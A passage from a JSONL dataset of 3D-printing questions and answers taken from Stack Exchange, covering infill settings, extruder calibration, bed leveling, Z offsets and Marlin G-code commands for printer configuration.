designing a \"hollow\" cube with 3mm thick walls filled with 100% infill and free space inside, one can design a solid cube and the printing service will then print it \"somehow\" - they may make the walls only 1 mm thick but fill the inside of the cube with 10% infill which may work just fine for final object stiffness etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.992667"}
{"id": "hf_f67168c66c11", "question": "<p>How can I vary the infill percentage for different layer heights of my model?</p>\n\n<p>Context: The bottom part of my model needs about 20% infill.  The geometry of the top part of the model (mostly cones of various sizes) prints well with 0% infill and is of course a lot faster to print if I can specify this.</p>\n", "question_body": "", "answer": "Your question is very similar to\nDifferent infill in the same part\nand\nUsing multiple infill types within one model [duplicate]\n. The difference is that you specifically ask for Slic3r and a variation in layer height infill percentage.\nActually\nthis answer\ndescribes using \"helper volumes\" in Ultimaker Cura to set different properties for certain parts of the model\n(\nUPDATE\n: that answer now includes also Slic3r instructions)\n, but it appears that this answer is very much applicable to Slic3r also. Please read\nthis\nposting. Quoting from the reference:\nFinally, I fired Slic3r up and loaded the main part, then clicked on\n  Settings... and then hit Load modifier... I loaded the new volume as a\n  modifier mesh and I applied 100% solid infill...\nSecondly,\nthis\nanswer where 2 different infill percentage sliced models are manually combined at a certain height may also work for you (this is a perfect valid solution for Slic3r, but requires some editing skills).\nBasically, although you request for a solution for a slicer other than already described in other questions, boils down to a similar answer, the only difference is the implementation in Slic3r is called differently.\nTo do this in\nSlic3r\nsee\nthis reference\n.\nThe blog describes the use of a simple volume (the green volume loaded from an STL file). After loading:\nRight-clicking on the main part brought up the object settings menu.\n  From there, clicking \"Load Modifier\" and selecting the previously\n  saved model adds it to the part as a modifier.\nThe green \"+\" was selected and \"Fill Density\" was added to modifier\n  list and set to 100%.\nThis shows that the functionality in Slic3r is very similar to the functionality in Ultimaker Cura.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.016564"}
{"id": "hf_cdf59a414db3", "question": "<p>I've seen a few print time-lapse videos lately which use gyroid infill: wavy lines, which deform across layers so that the waves end up alternating between the two axes. Other than making the time-lapse videos look much cooler, what are the benefits of this infill style compared to the more common hatching or cross-hatching?</p>\n", "question_body": "", "answer": "From\nthis reference\nyou can read that:\nA gyroid is a naturally occurring structure which be found in\n  butterfly wings and even within membranes inside cells. In 2017, MIT\n  researchers discovered that when graphene was shaped into a gyroid\n  structure, it had exceptional strength properties at low densities.\n  They then discovered however, that the crucial aspect of this was\n  actually the gyroid structure itself, and that other materials such as\n  plastic could benefit from this.\nIt is assumed that this type of infill has better properties against failure than the normal types of infill we know.\nA test conducted by an author named Martin is found\nhere\n. He printed test specimen and subjected them to bending to test the resistance against shear stress.\nFrom the figure can be concluded that the gyroid infill has a better resistance against bending for a lower weight.\nThe advantages of gyroid infill over the tested infill types are:\nhigh shear strength, and\nlow weight (so less filament needed).\nOn top of these advantages Gyroid infill prints relatively fast with respect to some other infill types and is close to\nisotropic\n(i.e. uniform in all orientations), meaning that is very suitable for flexible prints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.040898"}
{"id": "hf_f35e28762651", "question": "<p>When printing several objects, I recently encountered a problem that arises when the structure in itself is relatively thin or the support towers have a small surface: the printhead would in motion tend to knock one or more over as it traveled or catch at them and create layer shift.</p>\n\n<p>How can I avoid collisions with the already printed parts of a layer?</p>\n", "question_body": "", "answer": "The problem was twofold:\nLack of bed adhesion due to the small contact surface\nmotion into the already printed objects.\nThe\nquick and dirty\nway was to change two settings:\nPrint with a small (3 mm) brim to stick the supports to the print and provide more surface. Other materials than PLA may need considerably more brim!\nActivate Z-Hop to force the nozzle to lift over the print when traveling\nThese tricks don't solve issues with very thin structures or in all cases. In those cases, it can be mandatory to increase the structure's (support) thickness or change the alignment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.064270"}
{"id": "hf_8815282db6cb", "question": "<p>I have a concept that's roughly 18\"x30\" (about 457x762 mm), and I just realized that the Makerbot and similar printers only allow dimensions around the size of a piece of paper. What are other options? Are there large 3D printers I just don't know about? I looked up TMC injection mold, but couldn't find anything on size (most links go to PDFs with printer images). </p>\n\n<p>Is injection even in the same \"world\" as 3D..? Sorry for confusing the two.</p>\n", "question_body": "", "answer": "Yes\nIf you have the money\nEither read\nhere\nor look at the ones I plucked out of that list to show you:\nFirst of all, 3D printers on FDM basis can become quite large, if you pay extra. And the price goes up really fast as the dimensions grow because the demands on stability grow exponentially.\nLarger Printers?\nOne example of a \"scaling\" printer family is the CR-10: The baseline CR-10 is about 300x300x400 mm, so about 12x12x16 inch for 400\\$. Not enough? 400x400x400 on the CR-10 S4 for ca 760\\$. 500x500x500 on the CR-10 S5 for 900\\$. That's 20 inch in all directions. But that's still not enough, isn't it? Well, if you need to go larger, you need to go professional...\nGoing Big!\nWell, there are printers like the gCreate gMax 1.5 XT+ (406x406x533 mm) for a mere 3000\\$. That's enough, isn't it? Well, we can even go\nbigger\n: 610x610x610 mm for a mere 3500\\$ on the Modix Big 60.\nStill not satisfied? Industrial machines can go even larger! A BigRep Studio for the\nlittle\nprice of 50000\\$ could achieve 500x1000x500 mm.\nEven more? Go Parametric!\nAs amra mentioned, the\nHangpringer\nproject of printers has no \"set\" build size, but you will have to provide a build platform of fitting size and a room it can work in undisturbed and with filament supply ready... just... bring a ladder? And be wary of people tripping over wires... and somehow find a ginormous, evenly heated bed somewhere...\nWays around\nAssembly\nThat is a little overkill, isn't it? Well, the first thing you need to remember when 3D printing is: unless you make a functional part that has to have certain dimensions, feel free to scale it down if it is just for visuals. Then, you can assemble prints. Like, take a smaller printer and print the object in halves or quarters. Then glue it back together.\nOrder\nYou don't want or can't assemble the part? Well, there are printing services out there that have these larger scale printers I mentioned (or at least similar ones) that offer to make your parts for you and then ship them to you. Usually, that is much more cost effective than buying one of these ginormous printers yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.087586"}
{"id": "hf_e56c4b005509", "question": "<p>Other than the most obvious issue with the filament kinking in the tube, what other issues could arise when trying to print flexibles (<em>i.e. TPU/TPE, Nylon, etc.</em>) with a Bowden style extruder setup? </p>\n\n<p>Can the kinking issue be alleviated by a well-constrained filament path (<em>proper ID</em>) in a properly sized Bowden tube?</p>\n", "question_body": "", "answer": "As a user of an UM3E, which uses Bowden tubes and has TPU as an available material, I can tell you that the kinking issues can be alleviated or downright avoided.\nI've printed quite a few things with the Ultimaker-brand TPU 95, and never had problems with kinking in the tube.\nUltimaker uses 2.85 mm filament, with Bowden tubes adapted for those and a rear motor, i.e. the motor is on the back on the printer and not right on top of the print head.\nI personally wouldn't consider Nylon as one of the really flexible material, but that's my opinion. Never had kinking in the Bowden tube with Nylon either in my UM3E.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.156059"}
{"id": "hf_8b76b578c2fa", "question": "<p>When exporting an STL from Fusion 360, one must select an STL refinement level to use for calculating the maximum triangle count. </p>\n\n<p>For FDM printing (<em>0.05mm and above layer heights</em>), where is the point of diminishing returns on STL refinement level when printing PLA and PETG on an Ender 3 with a 0.4mm nozzle? All mechanical components on the printer are stock.</p>\n\n<p><a href=\"https://i.stack.imgur.com/z9cgx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/z9cgx.png\" alt=\"Refinement quality\"></a> </p>\n", "question_body": "", "answer": "I don't know that this can be definitively answered for a specific printer and all arbitrary designs.\nThe refinement level basically determines how smooth a curved surface will turn out.  The STL file format can only express an object in terms of triangular-shaped surfaces, so Fusion 360 will need to approximate a curved surface by breaking it up into triangles. Flat surfaces and straight edges can be represented perfectly, so they won't be affected. Low refinement will use a small number of relatively large triangles. On a part like your example, the cylindrical shaft will have noticeable facets. Higher refinement means a larger number of smaller triangles.\nIf you have \"Preview Mesh\" checked as shown, you will be able to see the triangle wireframe, and you can use your own judgment if it's \"good enough\".\nUltimately, higher refinement means longer processing times and larger file sizes. The final print time won't be affected much if any.\nPersonally, I always use high refinement. Even on my modest system, it only takes a few more seconds to prepare a multi-hour print, and maybe a few hundred kilobytes or a couple megabytes on my hard drive that I will barely notice. This is a small tradeoff to ensure the best possible STL definition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.210395"}
{"id": "hf_e920f65b4b9a", "question": "<p>I am trying to create a mechanism with moving parts, and would like to see how it works (whether it even works) before printing it.</p>\n\n<p>For example, there's a servo with a bracket, and I would like to see how far can the bracket move before colliding with other objects.</p>\n\n<p><a href=\"https://i.stack.imgur.com/mlheh.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/mlheh.gif\" alt=\"enter image description here\"></a></p>\n\n<p>Unfortunately I cannot find any information on how to set pivot points and rotate objects around these points in FreeCAD. Is this even possible?</p>\n", "question_body": "", "answer": "freeCad has a draft rotate function in\nDRAFT workbench\n:\nSelect an object;\nPress the Draft Rotate button, then;\nClick to set the rotating point and rotate.\nYou will get used to that after a few trails.\nThere is a\nstep by step guide\non freeCad site.\nThere is also a\nshort demo of the function here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.238316"}
{"id": "hf_a0e5e0adc30f", "question": "<p>If I have an image like the one attached, what’s the best way to create an accurate depth map of it? I have photoshop CC and 3ds Max, but I don’t know what settings work best with Slic3r. There is a plethora of settings and combinations to choose from in either programs. </p>\n\n<p>Did anyone do this before? If so, can you share your technique?</p>\n\n<p><img src=\"https://i.stack.imgur.com/9wbEP.jpg\" alt=\"enter image description here\"></p>\n", "question_body": "", "answer": "From a single image from this perspective (front view) you cannot map the coin surface in detail. There is reported limited success in estimating the depth of single images, but, this is for images with a clear perspective (e.g. like a picture of a room showing the walls and floor at an angle). In order to map the surface you will need to have multiple images and preferably know the direction of lighting on that object.\nPeople with one eye cannot estimate depth very well, you need two eyes and a trained brain to understand the differences in depth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.265838"}
{"id": "hf_189e1c428e4b", "question": "<p>Assume somebody has a Monoprice Maker Select and has changed from the original brass extruder gear to a <a href=\"https://www.wanhaouk.com/products/extruder-drive-gear\" rel=\"nofollow noreferrer\">D4 Plus</a> one, which is slightly smaller (10.6 vs 10.9 mm outer diameter).</p>\n\n<p>This person might be wondering if he/she needs to compensate for this difference, and which setting that would be in Cura IIIP.</p>\n\n<p>(Have never calibrated the extruder and am still not sure it is absolutely necessary, since the difference in the gear size is only 3%.)</p>\n", "question_body": "", "answer": "If you change the extruder wheel for a different sized wheel, you need to calibrate the extruder to make sure that if you ask to extrude 100 mm it actually extrudes 100 mm.\nThis answer\non the question \"\nHow do I calibrate the extruder of my printer?\n\" describes how to do that.\nIt is not required to flash your firmware. The G-code command\n```\nM92\n```\ncan be used to set the new amount of steps for the extruder. The Monoprice Maker Select has a Melzi control board that is running Repetier firmware. This G-code command is supported by Repetier firmware.\nYou need to be able to connect a so-called terminal to your printer. Applications as Repetier-Host, Pronterface, OctoPrint, and probably many more have so-called terminals where you can interface with the printer by sending command to it when the printer is connected through USB (please mind the communication speed of the board, called Baud rate, these are not the same for all boards).\nSending\n```\nM503\n```\nwill report the current settings for\n```\nM92\n```\n, e.g.:\n```\n```\nM92 X100.00 Y100.00 Z400.00 E100.00\n```\n```\nExtrude 100 mm without the hotend attached so you can measure the amount that is extruded. If that is 80 mm you need more steps\n$ \\frac{100\\ mm}{80\\ mm} \\times 100\\ steps/mm = 125\\ steps/mm $\nYou now need to send\n```\nM92 E125\n```\nand the new steps are set. Use\n```\nM500\n```\nto store the setting.\nYou could also change the flow extrusion parameter in your slicer, but it generally not good practice, it is better to fix the printer rather than adjusting in the slicer. However, if you do want to fix it in the slicer, as mentioned in the comments, you can also add steps setting in the start G-code script:\n\"To get around flashing the new values to the ROM, you can add this to the machine settings in Cura under \"Start Gcode\" this way it will append your values at the start of every print.\"\n. Note that other slicers have similar functionality.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.289665"}
{"id": "hf_58bbe21cd828", "question": "<p>My Anet A8 was working and printing great until my hotbed connector snapped and shorted out my motherboard. After replacing the connections to my hotbed and my motherboard I can't print anything because the filament flow is very inconsistent. It often laying down nothing. See my included picture. </p>\n\n<p>I've tried a bunch of suggested calibration settings but none of them worked:</p>\n\n<ul>\n<li>increased extruder temp, </li>\n<li>decreased speed, </li>\n<li>increased flow, </li>\n</ul>\n\n<p>Any ideas or thoughts would be great. </p>\n\n<p><a href=\"https://i.stack.imgur.com/NzZwN.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NzZwN.jpg\" alt=\"First layer view of a printed product\"></a></p>\n", "question_body": "", "answer": "Please note that the problems you faced are typical for the Anet A8, the connectors are underrated for the application. Also, do note that the stock firmware does not have thermal runaway protection, which is considered to be very unsafe and could potentially lead to burning down your house! Please flash a firmware that supports thermal runaway protection, like e.g. Marlin Firmware.\nBasically you just tried to change some parameters to see if they have an effect. This is generally a good idea to get an idea of the problem, but a more technical approach would be to start from the beginning and exclude things you have tested. As for now you cannot conclude why the print looks as shown in the image, e.g. it also looks as if the nozzle to bed distance is too large.\nThe question remains if your 3D printer board did survive the shorting of the hotbed leads!\nTo troubleshoot this particular problem it is advised to check whether the extrusion process still does what it is asked to do. Disconnecting the hotend from the extruder and measuring how much filament is extruded would be the first thing to check. Please look into\nHow do I calibrate the extruder of my printer?\n. It seems odd that the extrusion is off if the firmware has not changed, or alternative settings stored, but to be sure it would be the first thing to check. From this exercise you'll learn whether the firmware is set correctly and the extruder working properly. It can still be that the extruder gear slips, e.g. because the filament does not have a lot of friction when disconnected from the hotend.\nWhen the extrusion process works and the commanded length is extruded, you can update the question with what you have done. After this, and if the problem persists, you can look into nozzle clogging and filament resistance for instance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.370303"}
{"id": "hf_3951bf922a95", "question": "<p>I just assembled a Prusa i3 MK3 and went through the calibration process, but when I print the first layer doesn't look good and my prints come unstuck from the bed. I think it might be Z height but this was as high as I could put the probe without the paper moving on the calibration test. The layers after the first few look good but then the print either warps or comes unstuck and moves.</p>\n\n<p><a href=\"https://i.stack.imgur.com/EdidQ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EdidQ.jpg\" alt=\"Bottom view of a hexagon print\"></a>\n<a href=\"https://i.stack.imgur.com/4voqC.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4voqC.jpg\" alt=\"Detail of the bottom of another print\"></a></p>\n", "question_body": "", "answer": "Judging by the images you posted in your question, the first layer distance is too far away from the bed for the current filament flow.\nThis could either be related to:\nhaving an offset on the first layer like a height correction in the slicer,\nan incorrectly levelled (read height adjusted) bed, (you did the paper test correctly, so this is probably not your problem, it is mentioned for completeness)\nunder-extrusion\nslicer setting not correct, e.g. filament diameter or flow modifier not 100 %\nincorrectly calibrated extruder\nYour most likely problem is under-extrusion. It would be advised to calibrate the extruder:\nHow do I calibrate the extruder of my printer?\nand check the slicer settings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.392982"}
{"id": "hf_edf70073d918", "question": "<p>How can I achieve keeping the motors active during pause to avoid moving their position during filament changes?  I have changed the filament during some prints to change the color or to change the a newer spool, but sometimes the X axis is moved during the change. I'm now using some cloth clips to prevent moving during this change. </p>\n\n<p>To pause the 3D printer I'm using the LCD menu ->pause, then I go to Move axis X, then I move close to 0. This change is manually and random since I don't know when the old filament reel is going to finish. The printer use Marlin as firmware with Ramps 1.4</p>\n", "question_body": "", "answer": "I have not tried this, but you could use the\n```\nM84 S0\n```\ncommand, this prevents the motors to go into an idle state.\nFrom the\n```\nM84\n```\nG-code wiki\n(firmware specific!):\nOn\nMarlin\n, Repetier and RepRapFirmware, M84 can also be used to\n  configure or disable the idle timeout. For example,\n```\nM84 S10\n```\nwill\n  idle the stepper motors after 10 seconds of inactivity.\n```\nM84 S0\n```\nwill\n  disable idle timeout; steppers will remain powered up regardless of\n  activity.\nWhat rests is to implement this command into your G-code file to be executed during pause. Depending on the pause method you could introduce this command. I have not tried this, but you could put the command in your start G-code and test if the motors keep powered!\nFurthermore,\na specific filament change command is available for specific firmware applications\n. This code,\n```\nM600\n```\n, can be used to change filament. From the\nMarlin documentation\nyou can read (since you are using Marlin Firmware, you could use this G-code command):\nThe\n```\nM600\n```\ncommand initiates the filament change procedure. The basic\n  procedure will move the print head away from the print, eject the\n  filament, wait for new filament to be inserted and the user to\n  confirm, load and prime the filament, and continue with the print.\n```\nM600\n```\nmay be initiated automatically if a filament runout sensor is\n  installed.\nPlease do note that in Marlin Firmware the\n```\nM600\n```\ncommand is only available when the comments before\n```\n//#define ADVANCED_PAUSE_FEATURE\n```\nin the advanced configuration options file\nConfiguration_adv.h\nare removed, hereby activating the command.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.416777"}
{"id": "hf_041504d76bd8", "question": "<p>I have a long print that keeps aborting. At some random point mid-print the printer says \"Click to resume...\". There is nothing in the G-code that asks for user confirmation. What could it be that triggers this? I noticed that sometimes (not every time) there is a blob of plastic in the way that should not be there.</p>\n\n<p>On one occasion, after the \"Click to resume...\", the LCD showed the message <code>FY178.N16466</code> and again waited for a click.</p>\n\n<p>The printer is an Anet A8 with Marlin 1.1.9. Slicer is Cura. I am printing via USB from Cura directly.</p>\n\n<p>This is the error message:</p>\n\n<p><a href=\"https://i.stack.imgur.com/QXdNc.jpg\" rel=\"nofollow noreferrer\" title=\"&quot;Click to resume...&quot; error message\"><img src=\"https://i.stack.imgur.com/QXdNc.jpg\" alt=\"&quot;Click to resume...&quot; error message\" title=\"&quot;Click to resume...&quot; error message\"></a></p>\n", "question_body": "", "answer": "This is not an answer/explanation per se, but it might help you track down the cause.\nIt\nmight\nbe worth\nenabling logging\n```\nM928\n```\nto the SD card (ensure that the R/W tab on the SD card is set appropriately), so that (after this has happened a few times) then you can look through the log to see what the command preceding the abort was, and if it is consistently the same (sequence of) commands that cause this to happen.\n```\n```\nM928 filename\n```\n```\nIf that doesn't throw up anything obvious, then, in conjunction with logging, you could enable debugging, see\n```\nM111\n```\nDebug level\n. For example:\n```\n```\nM111 S7 ; ECHO, ERRORS, INFO\n```\n```\nThen run through the long print again. As before, after a few of the\nclick to resume print\nmessages, then go back and check the log for anything that might indicate why this is happening.\nTo subsequently disable the debugging:\n```\n```\nM111 S0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.441770"}
{"id": "hf_46563739cc12", "question": "<p>I'm at a location where I don't have easy access to toothed belts for my printer (a <a href=\"https://reprap.org/wiki/Wallace\" rel=\"nofollow noreferrer\">RepRap Wallace</a>). While trying to look for some solution, I saw some talk of using fishing line as a belt, along with a log of admonitions of <code>Don't</code>.</p>\n\n<p>However, as I have easy access to fishing line, but almost no access to a toothed belt, I was thinking of using multiple strands of fishing line with regularly spaced knots to simulate a toothed belt. However, Google didn't help much with either usage or possible Gotchas.</p>\n\n<p>Is there any possible issues that I may face with this solution?</p>\n", "question_body": "", "answer": "I’m going to recommend not using a fishing line with knots.  Probably the biggest problem you’ll have using the fishing line with knots is if the knots are not perfectly spaced,  movement along the X or Y axis is not going to be consistent. This could result in weird deformations in your print.\nDepending on how you tie the knots they may not grip the teeth of the gears quite well enough to prevent slippage.\nBoth of these issues will mean that you will not get very good quality prints assuming the print doesn’t outright fail.\nYou would be better off waiting to get the correct belt then attempting to use fishing line.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.467713"}
{"id": "hf_133290359f97", "question": "<p>I have what I thought would be a simple question.</p>\n\n<p>I don't have an auto leveling probe, I do my leveling manually with 4 screws and a piece of paper (I measured the thickness to 0.1&nbsp;mm).</p>\n\n<p>For the longest time I would have trouble with the first layer, sometimes having to give the bed screws a quarter turn to bring the bed up a bit. I would see that the nozzle seemed quite far away from the bed. This went on for the longest time and I just chalked it up to the quality of my printer.</p>\n\n<p>I realized recently that when I level the bed, I am inserting a piece of paper in between the nozzle and the bed. Obviously, I should be taking the thickness into account as a 0.1mm thick piece of paper accounts for 50&nbsp;% higher than the nozzle should be for a 0.2&nbsp;mm first layer height.</p>\n\n<p>My question is, how do I set (either in Cura or directly in Marlin config) the z home offset to account for the 0.1&nbsp;mm thickness of my calibration paper?</p>\n", "question_body": "", "answer": "It is preferred to get the distance correct by hardware changes (leveling screws). But it is possible to do it with software. You can not only change the Z offset in the slicer or in the configuration of Marlin, but also with G-code commands.\nThe \"paper drag\" method is perfect for determining the correct Z level. Once you leveled with the paper, you do not need to create an offset to account for the paper thickness, however, there are purists that do that. So basically, what we call Z=0 is in fact Z=\"paper thickness\", unless you are a purist. But a slightly larger gap makes printing much easier. Too small heights cause e.g. rippling effects or too much pressure build-up in the nozzle. In order to change your offset after leveling, you could try one of the following methods. This is sometimes a useful method for creating a little extra offset for printing PETG, but personally I do not do that.\nIn Ultimaker Cura\n:\nOpen the plugin manager (\"Toolbox\"->\"Browse packages...\") and install \"Z Offset Setting\", a new parameter will be available in the \"Build Plate Adhesion\" settings menu called \"Z Offset\". (See also\nthis older, not up-to-date answer\n)\nIn Marlin configuration file\n, modify the MANUAL_Z_HOME_POS constant:\n```\n```\n//#define MANUAL_Z_HOME_POS 0\n```\n```\nIn G-code\n:\nBy adding the following lines to your start G-code (see e.g.\nthis answer\n) using the\n```\nG92\n```\nG-code command:\n```\n```\nG0 Z0.2 ; Move the head to 0.2 mm (so now 0.3 on your machine)\nG92 Z0  ; Call this Z = 0\n```\n```\nor when you are able to connect to the printer over USB using a printer terminal (e.g. Pronterface, Repetier or OctoPrint) using the\n```\nM206\n```\nG-code command:\n```\n```\nM206 Z-0.2 ; Will raise the Z height by 0.2 mm\nM500       ; Stores the offset in memory\n```\n```\nAlternatively, when you cannot connect through a terminal, putting the last 2 lines in a text file and saving that as a\n```\n.gcode\n```\nfile on an SD card and \"printing\" the file will also store the new offset (if\n```\nM500\n```\nis enabled in the configuration file:\n```\n#define EEPROM_SETTINGS // Enable for M500 and M501 commands\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.523655"}
{"id": "hf_999b58fd353b", "question": "<p>I'm 3D printing almost 2 years, and I expected to have better result after changing to complete smooth rods with new bearings.</p>\n\n<p>I have a problem with my Z axis giving me inconsistent prints; I already replaced the leadscrews, E3D clone with Bowden tube, I decided to replace all smooth rods on all axis and also the bearings. After I replaced all this, my prints are still bad, also I'm very dissapointed with the results after the replacements. I have checked all I could think of; PID tuning, belts, ....) but I'm running out of ideas.</p>\n\n<p><a href=\"https://i.stack.imgur.com/33DQZ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/33DQZ.jpg\" alt=\"inconsistent print layer results\"></a></p>\n\n<p>Printing settings:</p>\n\n<ul>\n<li>print speed is 40mm/s, </li>\n<li>retraction is 3mm at 30mm/s, </li>\n<li>extruder 205&deg;C for the first layer, then 200&deg;C</li>\n</ul>\n", "question_body": "", "answer": "From the pictures can be seen that you have good lead screws as there is no cyclic anomaly/wobble present at the side. It appears as though the lines at the sides of the print are more or less random X/Y positional inaccurate.\nThese lines can be caused by various reasons. From what is read you tried to improve the mechanical system by upgrading the hardware. It could still be the case that there is still some backlash or play left in the system (e.g. I had once had too much tolerance on the holes of the linear shafts in the printed X-Z mounts causing similar problems). Vibration should be looked into also, e.g. do you have a binding bearing or a large mass on the printer that interacts with the carriage movement like a spool holder on top of your frame. Or maybe the micro-stepping does not work optimally, so check the stepper driver currents.\nIf it is no mechanical issue, it could be that you are facing inconsistent extrusion caused by variation in filament thickness or gear slipping or too much tension on the filament by friction in unspooling. Or else a hotend temperature variation. Maybe insulation on the hotend helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.548991"}
{"id": "hf_e98ad1fefbf4", "question": "<p>I have been running my i3 MK3 for about 12 hours now and the motor on the extruder is fairly hot, not too hot to touch but I'd guess its about 60c on the outside. Is this within normal operating temperatures or should I let it cool down before starting more prints?</p>\n", "question_body": "", "answer": "The maximum operating temperature can be found in the specifications of your steppers. Usually the ambient temperature operating conditions are limited to 50 °C with a maximum operating temperature in the range of 70 - 100 °C. For instance, the steppers I use are limited to a temperature of 80 °C. It is however advised to keep this temperature lower, e.g. to max. 60 °C to prolong the life. Do note that very high temperatures could be a problem for \"self-printed\" stepper mounts of the wrong material (materials with a low glass transition temperature).\nTo answer your question: \"Yes, steppers may get hot, but if you want them to get too hot is up to the mounting system and how long you want to use them.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.572795"}
{"id": "hf_18ee09c82675", "question": "<p>After building a Delta printer, I noticed that my whole prints are slightly tilted around the Z-axis in comparison to the slicer (e.g. Cura). There is no twist layer wise. This means, the prints themself look actually perfect. </p>\n\n<p>I just don't know what could be the reason of the rotation. I do not believe it is a build issue of the printer, because I tried to keep the printer frame pretty stiff and symmetric. \nCould it be, that the Auto-Calibrate Feature of Marlin can add such a rotation?</p>\n\n<p>The picture below illustrates the problem. I expect the black alignment of the print and get the orange one. Note that the print is still a rectangle with ~90° corners. </p>\n\n<p><a href=\"https://i.stack.imgur.com/pXiHY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pXiHY.png\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "If I am reading this correctly, your prints are being either stretched or your prints are shifting / leaning on more complicated prints.\nIn this case, given that you are on a Delta printer, my answer is the same for all. I usually do Cartesian based 3d printing but the concept is the same for any drifting or leaning. You simply need to recalibrate your steps per MM for each motor, and tighten your belts. You will have the complication of the interaction of the 3 arms, that others will be able to answer better. But in the end, if each arm moves as it should, the belts are not slipping, and you do not have issues with moving too fast (jerking can cause the belt to shift, and a loose belt can cause whiplash / and other print artifacts). My bet is your steps per MM is off on one of the motors, or you could have an overheating issue (not likely).\nThere are many\nguides\nto help with Delta specific calibration.\nI can provide a better answer with photos. See\nStackoverflows guide on asking questions\n.\nEdit with the diagram (not a photo), you issue might be caused by stepper over voltage and you will need to adjust your pololus. If you hear a repeating Thud noise, you have your voltage too high.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.596793"}
